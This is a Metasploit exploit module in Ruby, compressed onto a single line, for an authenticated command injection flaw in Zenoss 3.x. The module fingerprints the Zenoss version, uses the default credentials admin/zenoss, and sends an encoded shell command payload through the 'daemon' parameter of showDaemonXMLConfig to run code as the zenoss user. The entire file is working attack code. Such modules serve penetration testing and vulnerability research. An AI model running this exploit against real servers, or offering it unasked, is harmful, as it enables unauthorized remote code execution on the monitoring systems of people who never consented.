## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Zenoss 3 showDaemonXMLConfig Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability in Zenoss 3.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'zenoss' user. The show_daemon_xml_configs() function in the 'ZenossInfo.py' script calls Popen() with user controlled data from the 'daemon' parameter. }, 'References' => [ ['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'], #['OSVDB', 'None'], #['CVE', 'None'], ], 'Author' => [ 'Brendan Coles ', # Discovery and exploit ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 3 $', 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, }, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python perl bash', }, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 30 2012' )) register_options([ Opt::RPORT(8080), OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']), OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss']) ], self.class) end def check @peer = "#{rhost}:#{rport}" # retrieve software version from login page begin res = send_request_raw({ 'method' => "GET", 'uri' => "/zport/acl_users/cookieAuthHelper/login_form" }) return Exploit::CheckCode::Vulnerable if res.body =~ /

Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+3\./ return Exploit::CheckCode::Detected if res.body =~ // return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp print_error("#{@peer} - Connection failed") end return Exploit::CheckCode::Unknown end def exploit @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] password = datastore['PASSWORD'] command = URI.encode(payload.encoded)+"%26" postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}" # send payload print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "/zport/About/showDaemonXMLConfig", 'data' => "#{postdata}", }) if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/ print_error("#{@peer} - Authentication failed. Incorrect username/password.") return end print_status("#{@peer} - Sent payload successfully") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") rescue print_error("#{@peer} - Sending payload failed") end handler end end